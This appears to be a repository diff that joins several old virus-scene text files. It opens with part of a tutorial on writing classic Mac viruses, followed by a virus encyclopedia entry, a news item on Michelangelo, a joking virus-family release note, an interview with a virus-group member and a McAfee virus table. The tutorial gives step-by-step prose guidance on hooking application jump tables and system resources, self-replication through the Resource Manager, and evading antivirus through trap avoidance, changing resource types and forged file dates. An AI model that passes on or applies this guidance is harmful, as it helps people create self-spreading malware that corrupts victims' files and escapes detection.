This technique you use here defines how your virus spreads. Some earlier viruses were more virulent than others; nVir needed an infected application to boot for it to execute; WDEF required only that a disk be inserted. There are lots of places for code to be "patched" so that your code can be executed. The trick is finding them and recovering from them gracefully. Not every method can be discussed in this note, but I will give some general examples and how to find your own 'hooks'.
One of the most popular methods amongst virii is infecting applications, since they, by definition, have executable code built right into it. If you can get your code executed along with the many other little segments in the application, the code could recover undetected. When an application starts up, the resource CODE with ID=0 is loaded into memory, and it's popularly known as the jump table. It keeps track of all of the procedures or segments in an application. If part of an application needs to call another procedure inside the application, it checks with the jump table for it's location. If it sees that the procedure is not in memory, it will load it first, then execute it. This is all taken care of by the compiler and the system software, so it's invisible to the programmer (in most cases). The system loads the jump table and immediately executes the first entry in the list when an application begins.
You can patch yourself into this list of procedures by modifying the jump table itself. You can modify the first entry of the jump table to be your code, but save the original entry so that you can call the actual application when you're done (destroying the first entry in any CODE 0 resource renders the application totally useless). So, instead of the system executing what it thinks is the application, it will run your code first, and then run the application.
Another method by which virii get executed is by utilizing a wonderful feature of the Resource Manager. As given in Inside Macintosh volume 1, the Resource Manager will look for resources in the top-most resource file that is open (the one most recently opened in most cases, unless UseResFile has been used). These searches also include searches for basic system code resources, such as window definitions, control definitions, and even international transliteration code. If you have a resource with the same type and ID as one in the system, and this resource file is open, the system will execute your resource instead of the system's. The catch again with this is that you should call the original resource as well to make your code invisible to the naked eye. This, apparently, is how the WDEF virus worked. When a disk was inserted, the desktop file was automatically opened and put in the list of resource files. Within this time that the file was open, the WDEF file which existed within was executed (the system needed to draw the window itself using the standard WDEF resource). This method requires no patching of other code and makes it very elegant. The thing that makes them easy to detect is that you find code resources in very odd places. A WDEF resource is not usually found in the desktop file.
To find other hooks for code execution, look at all the executable code inside the system. These pieces are executed at one time or another for certain calls. Things that might not seem obvious right away may make good places for patching. Lots of applications use (maybe indirectly) the International Utilities Package, for it has many good string manipulation routines. A patch there might be possible. 'ptch' resources in the system are loaded automatically at startup time to patch bits of ROM. A system could be infected there and be loaded before all other extensions. Poke around the resources and find out which ones are executable, and then find out when they are executed. You might be able to find a great patch to live off of.
Chapter 4: Reproduction
Reproduction of any code resource requires the help of the File Manager and/or the Resource Manager. The concept is not very simple, but the execution is very easy. Since the virus itself is simply one code resource (preferably not more than one), then it can be loaded, added, modified, changed, and saved just like any other resource. And the fun part of it is, you can do all this to the code you are currently executing. This is apparently dangerous (Apple warns us about self-modifying code), but we're not modifying anything about our code; simply our placement. With a few simple calls we can duplicate ourselves anywhere we wish.
When an executable code resource is called, the pointer to the resource is placed in register A0. You can use this pointer to reference yourself. A simple line of assembly can place A0 in any variable you choose. Once you have this variable, you must translate it into a handle with the RecoverHandle call. Now you have a handle to your own loaded resource, but you still cannot duplicate it. As a handle to a resource, you cannot use it to be copied into other files. You 'belong' to your owning file, and are not expected to go elsewhere. Use the DetachResource call to remove your reference to the file you came from. After this call, you are simply an executable block of memory floating around with a handle on yourself (phallic, isn't it?). All you need to have to have total freedom with a block of memory is a handle to it. You've got this free handle now. Now comes the time to find the file you have to duplicate yourself to.
The file you find depends on how your virus is designed to work. You can copy yourself into applications, into desktop files, or into the system. Again, dependent on how your executing mechanism requires it. Once you have found your file (usually with use of the File Manager), open up it's resource fork with OpenResFile or any other similar procreation of it (FSpOpenResFile, etc.). Call AddResource with the required parameters, then call WriteResource to forcefully write the resource to the file or simply close the file itself (it will automatically be saved). Your code has now copied itself into another file. Reproduction! Now just let it sit and wait for it to be called!
Chapter 5: Defensive, Clean Coding
As always, if you want your code to be run cleanly on all systems, you have to be prepared for any type of situation. Apple warns us of this all the time, so I don't have to go into too much detail, but there are a few things I would like to stress so that your code doesn't simply crash when it gets executed. You goal is then not found. Here are some tips and things to watch out for.
1. ResError. Who knows? Maybe you've been purged. Check it after every Resource Manager call you can, taking efficiency into account, of course.
2. Nil pointers. Who knows? Maybe a virus detector caught part of your set of resources (if you're using a set, which I highly discourage) and deleted them. Find an alternate route, or exit gracefully.
3. Patch well. If you are going to modify something like a jump table, be sure you keep the originals somewhere for your own use so you can call the code (pass-through coding). If you don't, and you just destroy it and call the next code resource down the line, who knows what you might be calling. A bezier-curve calculation routine does nothing if the caller knows not what he's doing.
4. File Manager. Don't depend on each hard drive being called "Macintosh HD". Don't depend on an "Applications" folder. Don't depend on anything. Read the directory and see what you find interesting. System 7's File Manager is great, but watch out for:
5. System 6 or before. You wouldn't want your code to execute only on one system version now, would you? By known figures, only 50% of Mac users use System 7. Sad, eh? But why exclude them from the pleasures of your code?
6. Error Check, Error Check, Error Check. The thought police are on you again. Never forget that nothing is permanent.
Chapter 6A: Virus Protection Software: How It Works
Virus protection software was a good idea. It worked for a while. Then it became a commercial product. Virex, SAM, etc. The best one out in the world today is freeware: Disinfectant. A beautifully-written piece by John Norstad. I personally am against commercially-written virus protection. However, I am not here to give praise to independent software authors. I am here to tell you how some of their mechanisms work.
Patching toolbox traps is a popular method of modifying the system's own code. Before it calls the real thing, it calls the patch (your code). Virus detectors use this method to keep an eye out for parameters passed through certain toolbox calls to check to see if they are virus-related.
One popular patch is AddResource. If a virus detector sees that the type of resource that is being added is of type 'nVir', then it'll catch you. If it sees 'WDEF' with ID=0 and the open resource file is the desktop, then it'll catch you. Since AddResource is a very dependent call used for replications, it's almost certain to work every time. Other less-popular but more efficient patches are those at the base level of the operating system, not even documented by Apple. Traps such as _vBasicIO, _VInstall, _NewHandle, _vMRdAddr, and even _ADBReInit get trapped by the Disinfectant extension. Because these are very basic calls (used by nearly anything that does input and output, in the case of _vBasicIO), it can catch nearly anything coming toward it. It's nearly foolproof. After knowing what type of virus it is, the software can delete the virus quickly and easily.
Good applications also use their own version of virus protection. At the startup of their application, the number of resources in the file is counted, and the more important executable resources in the file are checked for their size. This way, if an application has had a resource added, it will be able to alert the user and stop execution.
Chapter 6B: Virus Protection Software: How To Bypass It
Though virus protection is great in most cases, there are still 'back doors' which haven't been explored at the time of this writing. Here are some ideas for getting around the checks that most virus protection software uses.
A trap is still a trap. It is not the real code; it is a dispatcher. It stops you on the way there, but it doesn't stop you from doing what those basic calls do on your own. This does require a fair amount of assembly language and ROM copying, but it gets you around the catch of using operating system traps at all. Simply copy the code that is contained in the trap itself and use that code. To never get caught, never use traps. But we know how nearly impossible that is. However, things are gained and lost in good code writing.
A drawback of virus protection in general is that the software has to be continually updated for each new virus and identified by name in most cases. One ingenious idea (mine? I don't know) is to make the name and/or type of the virus variable. It doesn't always have to be called 'nVir' or 'WDEF' (unless the mechanism depends on the name or type). Make the type change from permutation to permutation. This makes it much more difficult to catch.
One feature of the File Manager is it's automatic updating of the modification dates. Every time a file is updated or modified in any way, the modification date is changed. You can find and modify the date with a fairly simple low-level File Manager call. This is really a frivolous precaution, but it makes it easy to find the source of a virus attack. Changing the dates to something fairly feasible (NOT Jan. 1, 1904) may bypass such checks.
The application checks can be overridden with good code-writing as well. If the virus is to add a resource to a file (as it usually has to), why not delete one in it's place? You've got to be sure that the type is the same as another type (this is where the variable types come in handy), and you may even want to vary the size of it to make it match the one it replaced (hopefully a larger size). Simply modifying a resource (like CODE 0) with the same amount of bytes will usually not be detectable. This way, the applications still counts and finds nothing unusual. However, in the process, the application is permanently damaged in some way.
Chapter 7: Testing
In testing a virus on your own system, you subject it to many continuous attacks - maybe even ones that are unintended. There are some rules to follow to be sure that you can keep track of it's location and make sure it doesn't destroy your work in the process.
1. SysBeep debugging. I'm sure most of us a pretty familiar with this technique. It's compatible on all systems, and it's an aural identification. No visuals to set up, no extra resources. Simple SysBeep(0); is sometimes enough to know that everything's all right. When testing your duplication code to find out when it actually happens, use SysBeep after each one and then check to see where it went.
2. Modification dates and times. If you use random selection of files to infect, it becomes rather difficult to find which one got infected. If you know when an infection happened, you can immediately check the modification dates of all files - simply by using the Find<6E> command in System 7's Finder.
3. Text Files. This could be known as a common-file technique. For testing purposes, use a mechanism that whenever an infection takes place, the virus writes the process and the file names and such into a common file in a common folder somewhere. This way, you can check the text file afterwards and know exactly what your code has done. You need not make the mechanism too elaborate, as it will only be for use in testing.
4. Backup, Backup, Backup. The thought police are at it again. In these cases, it's all too familiar. A trashed project is no fun.
Chapter 8: Conclusion
In short, the devices behind writing a virus are not all that complicated. There are many checks to counterattack, and part of the puzzle itself is no find new ways to get around them. Find back doors. Give the code a personality. Make it try to find the best way around a counterattack if it is able to detect one. Size is no longer a constraint in today's memory-hog world. A virus of near 50k would probably go undetected in modern-day storage, so don't feel constrained in that way. Time should be a consideration, however.
Make code that is efficient, so that users don't notice a slowdown when it is executed. All in all, your code is your work. Don't let it out of the bag until it works well and clean, and don't forget to leave no trace.
Appendix: Questions and Answers
Q: How do you get it to randomly choose an application on the HD to infect?
A: Any file on the hard drive is stored in the directory. This includes documents, applications, system files, and so on. Files are found by using the directory (via the File Manager). If you wanted to choose an application that appeared as though it was a random choice, you can still move through the directory. Files are stored in the directory by an index, just like resources, and you can pick a random index number to check a random file. You can use Quickdraw's Random routine to pull out a number, check that index, and see if that file's type is 'APPL'. If not, simply choose another file. If you've found one, then you've got your random application. Granted that not all hard drives have 65536 files on them, so you may have to tone down the returns from Random, but that's simply mathematics. Note also that there are many small applications on the hard drive as well. TeachText, CompactPro, PrintMonitor, etc. This will also come up in the list of applications along with larger applications like Microsoft Word, Aldus Freehand, and the Finder itself. This method will not choose the System file (it has a type of 'zsys'), and documents, any desk accessories, or extensions/control panels. You can modify the routine to work with other file types as well.
Q: How can I include a bitmap or other separate resource data into my code?
A: You've got to use a little assembly (and disassembly) for this method, but it works wonders (the system's scroll bar CDEF use to use it). Create the resource you want to include in your favorite resource editor to suit your taste. Close the resource and re-open the sucker in hex. Copy all of the hex codes into the clipboard. Go into your development environment and at the very end of your code add a bit of assembly. Use the DC.B or DC.W operands to define a bytes or words (respectively) and re-define the complete resource for each byte or word in the resource (it might take a little bit of re-typing). Give this procedure (which never gets 'called') a name. Now, whenever you want to use this 'resource', simply replace the handle or pointer to the resource with this procedure pointer. There's no need to load anything (the entire code resource is already loaded), and the pointer is always valid. This method also saves you from using the Memory Manager for anything.

75
textfiles.com/virus/malmsey.txt Normal file
View File

@@ -0,0 +1,75 @@
Virus Name: Malmsey
Aliases:
V Status: Rare
Discovered: October, 1992
Symptoms: .COM files overwritten; programs fail to function properly;
file date/time changes
Origin: Canada
Eff Length: 495 Bytes
Type Code: ONCK - Overwriting Non-Resident .COM Infector
Detection Method: Novi 1.15a+, F-Prot, VNet, Viruscan V99+, VBuster,
Sweep 2.43a+, IBMAV, AVTK 6.04+, NShld V99+, Sweep/N
Removal Instructions: Delete infected files
General Comments:
The Malmsey virus was received in October, 1992, and was written
by a person using the name Lucifer Messiah. Malmsey is from
Canada. This virus is a non-resident, direct action overwriting
virus which infects .COM programs, including COMMAND.COM. A
later version of the virus, Malmsey 2 described below, is a
parasitic, non-resident, direct action .EXE infector.
When a program infected with the Malmsey virus is executed, the
Malmsey virus will infect one .COM program located in the current
directory, overwriting the first 495 bytes of the host file. The
programs date and time in the DOS disk directory listing will have
been updated to the current system date and time when infection
occurred. The following text strings can be found in all Malmsey
infected programs:
"*.COM"
"[Malmsey Habitat v. 1.3]"
"Warmest Regards to RABID"
"from -- ANARKICK SYSTEMS!"
Malmsey doesn't appear to do anything besides replicate, though
infected programs will be permanently corrupted.
Known variant(s) of Malmsey are:
Malmsey 2: A later version of the Malmsey virus, this variant
infects one .EXE program each time an infected program
is executed. Infected programs will have a file length
increase of 1,703 to 1,717 bytes with the virus being
located at the end of the file. The Malmsey 2 virus
will occassionally reinfect previously infected
programs, adding an additional 1,712 bytes with each
reinfection. The file's date and time in the DOS disk
directory listing will not be altered. The following
text strings can be found in the viral code in Malmsey 2
infected programs:
"Malmsey Habitat v. 2.0"
"Lucifer Messiah -- ANARKICK SYSTEMS 07-18-"
"Hap Birthday !"
Origin: Canada October, 1992.
Malmsey 3 Beta: A later version of the Malmsey 2 virus, this
variant is a memory resident infector of .COM and .EXE
programs, including COMMAND.COM. It becomes memory
resident at the top of system memory but below the 640K
DOS boundary, hooking interrupts 3 and 21. Total system
and available free memory, as indicated by the DOS CHKDSK
program, will have decreased by 2,048 bytes. Once memory
resident, Malmsey 3 Beta infects .COM and .EXE programs
when executed. Infected programs will have a file length
increase of 806 bytes with the virus being located at the
end of the file. The file's date and time in the DOS disk
directory listing will not be altered. The following
following message may be displayed by the virus when an
infected program is executed:
"Gotcha!
[MALMSEY HABITAT v3.<2E>]
Lucifer Messiah -- ANARKICK SYSTEMS"
These text strings are encrypted within the viral code.
Origin: Canada March, 1993.
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

46
textfiles.com/virus/mayhem.txt Normal file
View File

@@ -0,0 +1,46 @@
Unauthorised Access UK 0636-708063 10pm-7am 12oo/24oo
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
MAYHEM AT FIRMS PLAGUED BY VIRUS
By Philip Braund
Published in The Mirror newspaper
March 7th 1992
Transcribed for the H/P world by Phantasm
Call Unauthorised Access +44-636-708063
Online 10pm-7am UK time
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
DATA was whiped from thousands of computers as
the Michelangelo virus finally struck yesterday.
At least 16 British firms were hit by the
electronic bug and experts reckoned it affected
10,000 systems throughout the world.
Staff at a business in London watched in horror
at 100 screens went blank. British expert Edward
Wilding said: "I've never known such a serious
loss of data due to a virus."
Files also disappeared in more than 1,000
computers in 500 South African companies. But
generally the damage was less than predicted
because firms made copies of their data or used
special programs to destroy the virus.
Devised by a mischievous boffin and spread by
"infected" floppy disks, it was triggered as
computers clocks ticked into the 517th
anniversary of Italian artist Michelangelo's
birthday.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Happy birthday Michelangelo...


157
textfiles.com/virus/mbfamily.txt Normal file
View File

@@ -0,0 +1,157 @@
The Mayberry Family of Virus by HypoDermic!!!!
----------------------------------------------
Legal BS!
-----------
HypoDermic is NOT responsible for any damages directly or
indirectly caused by the use of these alternative programs and
code. These virus were produced for educational puposes only! :>
These files are not to be distributed without the written consent
of HypoDermic nor are they to be used in any destructive form!
Who the Hell is this HypoDermic?
--------------------------------
Good question! Some of you already know me either by my real
handle or if you are special you know me by my real name (oooh!)
but for those who have know clue I am a lamer newbie upcoming
alternative programer with realy no future doing anything else but
virus programming. Wow! What would my therapist say about that? I
make no claims to be good because I am just learning the trade with
no formal education. But maybe someday (daydreaming...) Ill be in
one of those k-rad groups, NOT!
Kissing Ass Section!
--------------------
This is that section you always see at the end where I am
supposed to kiss ass to all those who help me out! Yeah right!
Well I am gonna tell ya the people who helped me know who they are
and need not be mentioned publically here except one and THIS IS
NOT A KISS ASS.....and the winner is MnemoniX for his cool beta of
Biological Warfare...You wanted some feed back check out these
files! I liked it and it is easy to use and pretty moron proof.
Why THE MAYBERRY FAMILY?
------------------------
Cause I felt that the AVer world needed another virus family
:> to keep them busy naming these fucking things. Get a clue and
go back to the Number Naming scheme and make your life easier
HeHe!! And someone already did the Adams Family (Deathboy), damn!
But be sure to watch for other families in the future; such as, The
Brady Bunch with my favorite the Groovy Marsha Virus, Beaver
Cleaver Family, The Beverly Hillbilly Family, 90210 (make me vomit),
Melrose Place, Cosby Family (have to include all ethnic families),
The Family Ties Family, and any other fucking TV show with a family I
can think of. Maybe you AVers may just have to have a Parent Family
name and call it TV Spoof Virus (TSV!!) maybe Ill copyright that
parent name hmmmm!!! I should have mentioned that I watch way to much
TV and not enough time programming. This show is one of the classics
so I present you with the Mayberry Family.
How about a quick breakdown of the cast?
-----------------------------------------
This will save some of you "researchers" especially you self
appointed ones some time which correct me if I am wrong but that
would be about all of you!
Andy: Memory resident, COM & EXE infector. Very simple Andy was
a example of a fine citizen of Mayberry a role model for
us all. Andy hated alternative programmer deep down
inside and vowed to lock us up in his maximum security
jail. Hehehe.
Barney: Non-Resident, COM infector, encryption, anti-trace,
directory transversal, with improved Dir stealth. One
bullet Barn is a sneaky little devil. I wonder if he
ever T-ed up Velmalou?
Opy: Memory resident, COM infector, anti-trace. What a little
rascal (hey there's another Family for me to create The
Little Rascals) that opy was always the loyal son. I bet
Opy wouldn't ever code virus in our times cause his Pa
wouldn't allow it.
AuntB: Non-Resident, COM & EXE infector, directory
transversal, with improved Dir stealth. Everone needs an
aunt like AuntB to wipe there asses, pack there
lunches, and make good 'ol family dinners. Hmmmm with an
aunt like that who needs computes and all this high tech
modern crap.
Floyd: Non-Resident, EXE infector. Would you let a Fuck
like that cut your hair?
Otis: Non-Resident, COM & EXE infector, encryption,
directory transversal. Be careful this fat sloopy drunk
is liable to infect your whole fucking system with one
looonnnggg belt of moonshine!
MissCrump: Memory Resident, COM & EXE infector, anti-trace,
Dir stealth. Miss Crump that little vixen, has always
turned my crank! I bet she's a go-er! Andy should have
tooled her when he had the chance.
Velmalou: Non-Resident, COM infector, directory stealth. She was a
little too mousey for me but I am sure one of you other
perverts thought she was the end all of country women.
Jethro: Non-Resident, COM infector, encryption. WAIT a Cotton
picking minute he ain't no member of the Mayberry Family,
you might say!!! Well Ill tell ya there is a lot of
inbreeding happening way down south and you can never be
to sure (Andy and him looked alot a like and he was as
dumb as GoMer and he let Floyd cut his hair you can tell
by the part on the side it is Floyd's trade mark!) We
may never know what realy happened by that cement pond???
I guess this could be one of those virus that could be
considered as part of several families until someone
renames it! :>
Goober: Memory Resident, COM & EXE infector, encryption,
anti-trace, improved Dir Stealth. Goober falls into the
same catagory as Floyd...would you let this fuck fix your
car if YES ill sell you my entire virus collection for
$100 dollars. I personally would let him fix my car
right after he performs brain surgery on one of my loved
one, NOT!!!
GoMer: Non-Resident, COM & EXE infector, Dir stealth. Well
Gooolllyyy!!! What a knob! He kinda reminds of a few of
the people I know in the virus scene not to point any
fingers but you know who you are.
Well Thats All!!
----------------
Well I hope I remembered all the Family if I find a few more Ill
be sure to send them on there way. You can never tell who is
truely related to who. Be Sure to watch for more Lame TV Family
Virus!!! Some of these scan and some don't some are lame and others
are lamer.
HypoDermic =============>PUT THE NEEDLE IN!!!!
P.S. BTW, there is no destructive routines in any of the Mayberry
Family! Could you honestly see anyone from the cast causing
harm to another person? It would be like someone actually dying
on the A-TEAM (hey hey there's another one for me!)
P.S.P.S. Hope you enjoyed this Spoof!

296
textfiles.com/virus/mbinterv.iew Normal file
View File

@@ -0,0 +1,296 @@
Metabolis is an Australian guy. He formed Vlad (Virus Labs and Distribution)
some while ago. Vlad is ofcos a viruswriting group. This group (vlad) releases
a magazine. Metabolis duty in Vlad, is pretty much alike my position in IR.
He organize some things, keep the group releasing things, and code some
stuff. Metabolis is also a very nice guy. If someone want to get a closer view
who this guy is, read the vlad magazine's (two issue's relesed..), or get
on IRC #virus, in where, he spend quite some time.
TU = The Unforgiven
MB = Metabolis
TU> Gimme a short intruduction of you you are!
MB> Well heh I'm 18, basically I sit at the computer most of my
spare time, I don't do much coding.. just enough to keep Qark
happy :) hehe. My job's more the promotional side of things,
getting people to grab our magazine etc. Not much time for
hobbies when I'm always trying to get on IRC as much as I can
:) but hmm I go to the occasional rave party.. that's pretty
cool. I don't work, at the moment I'm trying to finish a
course at college. Not doing too well since I'm hardly there
but hey, I'll get there :).
TU> Any thoughts behind that handle, Metabolis?
MB> The thing I really hate, is thinking up handles. I've had
quite a few over the last few years and I was sort of running
out of things to use. So I just opened my age old box of ZX
Spectrum 48k computer games and saw one called Metabolis. End
of story! :)
TU> When did you discovered the world of computers, and why did
you start with this expensive shitty hobby?
MB> I've always liked being part of a group, there's a central
goal and it gives you something to do, and if you're good at
what you do.. there's a slight self satisfaction kick involved.
So one time I figured it'd be cool to have a go at this virus
business, I wasn't too serious since I could hardly code
assembler at all, but heh I did it. Then one day someone told
me I should talk to Qark cos he's into virus stuff too. I got
hold of him and yep, he was pretty good. From there we set
out to make the vlad magazine, we weren't really aiming at
such a global scale as what we ended up with.
TU> So.. why did you start creating viruses?
MB> Hmm I wasn't too interested with the coding side of things
originally, just the scene and organisation etc. I wrote the
pascal one in vlad#1 because I dunno, I felt I had to
contribute something and at the time I knew nothing about
assembler. Then Qark came round and went through a parasitic
.COM infector with me and hey presto, I get it now :) So I
guess that was when I had the ability to. Prodigy 3.0 was an
ok virus, not the best but I wasn't really aiming at it being
a classic, more for other people as shit as me at it to learn
from. That's one of the things we're all about.
TU> Have you been involved in any other group that Vlad?
MB> Let's just say I've tried many different things, and they
always seemed to collapse in my face. VLAD has been good,
there have been no problems, no abuse from anyone :). We
actually have respect from some people which is good.
TU> What's the groups goal?
MB> Our goal really is to teach others how this virus shit is
done.. to promote our country :). erm, I dunno that's about
it really. We'll keep coding/writing until we have no more ideas
I guess. Which should be quite a few more issues yet.
TU> Why did you decided to release a magazine? I mean, you could as well
release a package of viruses, etc. if it only was for the viruswriting
itself..
MB> Well that's just it you see, originally I couldn't really
write much in the way of virus code. I just knew a fair
amount of what went on in the scene etc. Most of my
contributions to the magazine have been articles virus related
but not code. So yeah, a magazine seemed right. We have
things to say so we needed a medium through which we could
portray this.
TU> Are you planing to expand?
MB> We did go on a member haul a while back but I think we're
pretty much settled now with four. There are two others that
might be joining soon but I think the ranks are full :). So,
nah we're not really looking for anyone to join right now.
Might do in the future.. we'll see.
TU> Are you into other things in the underground computing, such as
hacking, phreaking, etc? Or are you _solely_ a viruswriting group?
MB> I guess you could say I'm into it, I've read quite a large
amount of text files on various things, and have tried a bit
of this and that, but nothing serious. I only bother when it
serves a purpose. No need getting myself in trouble just for
the fuck of it :).
TU> How many viruses have you in person written?
MB> Well I'll only count my assembler ones :) erm.. 5 I think,
but they're very simple. Two of them I never bothered
releasing (they were overwriting :). The other three, being
Prodigy 3.0, Rod Fewster's Gonads (bwahahaha) and my
contribution for the next magazine Overdrive.
TU> Which one was the hardest to write?
MB> Overdrive, my latest was the hardest. Doing the xor
encryption I found a daunting task to begin with, it took me
quite some time to get it to work :). It wasn't that
difficult though, but I am at a basic stage still.
TU> What do you think of the term non-destructive virus, or even a GOOD virus?
MB> I think the term non-destructive virus applies to all of
VLAD's creations! :) You won't find any formatting or random
sector writes in our code. hmm I wrote an article on this
very question I believe hehehe. In different people's eyes
the word GOOD (when applied to a virus) can mean different
things. Some see just the fact that a virus has appended to a
file thus altering it's contents to be BAD. Whereas I would
see this as good since it can most probably be removed if the
need arises.
TU> Do you have any sort of company or law-enforcement who are trying
bust Vlad?
MB> No, not that I know of. If there was I most probably
wouldn't know, not having any "contacts" etc in any law
enforcement agencies. We haven't done anything wrong so there
isn't much reason for any law enforcement dudes to be
interested in what we're doing.
TU> What's your opinion about making viruswring illegal?
MB> It would be like making any coding illegal, i.e. not
possible! A more underground virus scene (than it already is)
perhaps would be a good thing. It would kill a lot of the
lamers that hang around :).
TU> Do you spread your viruses in programs?
MB> Well.. that's just it, if we started doing that we definately
would have law enforcement agencies on our tail. No, we don't
bother to release our viruses to the public through any sort
of software (except our magazine of course :). If any
infections occur overseas it's the readers, not us heh. A
much safer situation to be in.
TU> What's your opinion about newspaper, and computer-mags writing stuff
about the virus scene?
MB> So long as the shit isn't prejudiced or one of these
virus=gun and virus author=murderer type article I have no
problems with that. Unfortunately most of the time it is
exactly the opposite of how I like it :(
TU> What do you think they, can do to improve the quality of the material
published?
MB> First get an understanding of what they're crapping on about,
it seems most just talk to the AV ppl, and leave the VX out of
it totally. This sorta makes us look like bad guys and
basically a bunch of assholes. Which is not the case :)
TU> Why do you think most reporters often twist one's words around, cutting
quotes and in nearly all possible way, without lying, making us look
very bad?
MB> It sucks, nothing else to say about it really. It's not just
the fact that they lie and twist what you say. Like, say if
they told you they wouldn't print your real name etc, they
don't. They print your school/uni, your height, your looks
etc etc. The press are mostly a bunch of wankers :)
TU> Has the scene in any way influented on your real life?
MB> I guess it has, I never used to bother about internet
before. I was just a local modem type person. Now I try and
spend as much time on there (in IRC) as I can! My phone bill
has gone up so you're right about it costing me money hehe.
TU> Does your parents, close relatives, know what you're doing behind
the computer?
MB> Yeah, my parents know what I do.
TU> So.. what's their opinion about it?
MB> They don't mind at all so long as I don't get our computers
infected :). They're fairly computer literate.
TU> Whould you feel guilty if one of your viruses made damage to a
hospital, or if someone DIED bcos of your virus? For example,
knocking down the the server to 911, or something like that?
MB> Hmmm our viruses should just infect and sit there, I guess
they might cause destruction somehow but it's pretty
unlikely. If it did, then it would be because of lack of
virus security at the hospital or the 911 server! No foreign
disks etc blah blah, that sort of shit.. usually that will fix
things up for them. Sure I'd feel guilty but I don't think my
parasitic .COM infectors will do much :)
TU> Do you like, or admire any virusprogrammer?
MB> Sure there are plenty, anyone who has made a worthwhile
contribution to the scene. I admire Talon being the best
virus coder in Australia (well that's what I reckon!). hehe
he'd really like to read this now I think.
TU> What do you think it takes to become a respected virus writer?
MB> To become respected, you have to try and do what no one else
has done! I may not have come up with anything brilliant but
I did think up a few heurstics dodging methods when I wrote
Prodigy 3 (hehe check out face of death/80hex for it :)
[* Hrm, only 80hex, which was more or less a trojan.. - TU *]
Or if you can't think of anything new, just keep turning out as many
(non ripped) viruses as you can! VCL/G2/PS-MPC/NRGL/IVP hacks
get lower than zero respect from me.
TU> What's your opinion about the anti-virus persons?
MB> I find most to be self righteous and arrogant. They never
listen to what virus authors have to say, they just keep
maintaining that we're bad and they're good. Well, it's time
to start thinking about who pays their wages :).
TU> which anti-virus product do you prefer?
MB> I like tbav for its heuristics, they are an endless supply of
fun to think of how to code around them. I like f-prot for
the lengthy virus names (great for scanning collections with
:). Also AVP has some really good VSUM-like descriptions in
it. They are the only ones I ever bother to execute.
TU> Do you think there ever going to be a av-program able
to guarantee 100% safety agains all viruses, worms and trojans
for all future?
MB> No, nothing can be 100% there will always be a way. I'm sure
viruses will grow in size to get around these things but still
they will always be around.
TU> Do you know/heard of any new virus writing technique
MB> I hear of a lot of things, various stealth things.. but never
see any proof. Our flash bios infector was a new virus, not
really in technique just the infection media (had to be said :).
Bios and sector level stealth is what I hear about most, quite
a few people reckon they've found new methods for this, but
like I said, have yet to see anything.
TU> Any advice to people who want's to learn the basic of virus-writing?
MB> Sure, stick to it! After I learnt how the basics were done,
I never bothered to keep on with it. I'm too lazy really
hehe. Just read as many virus writing guides as you can, they
never really helped me but they might someone. The best thing
is for someone to actually sit down with ya and show you how
it's done on the spot, I'd been trying to learn for ages and
when Qark went through it with me, it was like an instant
recognition of all the wrong shit I'd been doing.
TU> Something else you wish to say, but never before have had the opportunity
to say?
MB> Not really, I tend to say what I want in our magazine :)
although.. here's something I'd like to say in your magazine :)
you can email any member of VLAD at these addresses
meta@tempest.rhn.orst.edu
qark@tempest.rhn.orst.edu
darkman@tempest.rhn.orst.edu
automag@tempest.rhn.orst.edu
and if you don't have our magazines you can grab them at
ftp: ftp.netcom.com /pub/bradleym/misc-zines
or if you can IRC you can get them from VLADdist (my robot)
They should be available on any decent VX BBSs anyway.
TU> Any helloes or goto hell messages? :)
MB> Ah, I know so many people these days.. hello to everyone I
know, to those I don't try and get in touch with me :).
Always happy to hear comments/suggestions from people. (no
abuse mail please :). As to goto hell messages.. well, hmm I
can think of a few, but I'll hold back I think .. don't need
any wars starting now do we hehe.
TU> Well, that's it Metabolis.. thanks for your time.
(typing /exit.. :) )
--------------------------------------------------------------------------------

118
textfiles.com/virus/mcaffvirus.txt Normal file
View File

@@ -0,0 +1,118 @@
VIRUS CHARACTERISTICS LIST V56
Copyright 1989, McAfee Associates
408 988 3832
The following list outlines the critical characteristics of the known
IBM PC and compatible viruses.
==========================================================================
Infects Fixed Disk Partition Table-------------------+
Infects Fixed Disk Boot Sector---------------------+ |
Infects Floppy Diskette Boot --------------------+ | |
Infects Overlay Files--------------------------+ | | |
Infects EXE Files----------------------------+ | | | |
Infects COM files--------------------------+ | | | | |
Infects COMMAND.COM----------------------+ | | | | | |
Virus Remains Resident-----------------+ | | | | | | |
Virus Uses Self-Encryption-----------+ | | | | | | | |
| | | | | | | | |
| | | | | | | | | Increase in
| | | | | | | | | Infected
| | | | | | | | | Program's
| | | | | | | | | Size
| | | | | | | | | |
| | | | | | | | | |
Virus Disinfector V V V V V V V V V V Damage
-----------------------------------------------------------------------------
Taiwan CleanUp . . . x . . . . . 708 p
Chaos MDISK . x . . . . x x . N/A B,O,D,F
Virus-90 CleanUp . x . x . . . . . 857 P
Oropax CleanUp . x . x . . . . . 2773 P,O
4096 CleanUp . x x x x x . . . 4096 D,O,P,L
Devil's Dance CleanUp . x . x . . . . . 941 D,O,P,L
Amstrad CleanUp . . . x . . . . . 847 P
Payday CleanUp . x . x x x . . . 1808 P
Datacrime II-B CleanUp x . x x x . . . . 1917 P,F
Sylvia/Holland CleanUp . x . x . . . . . 1332 p
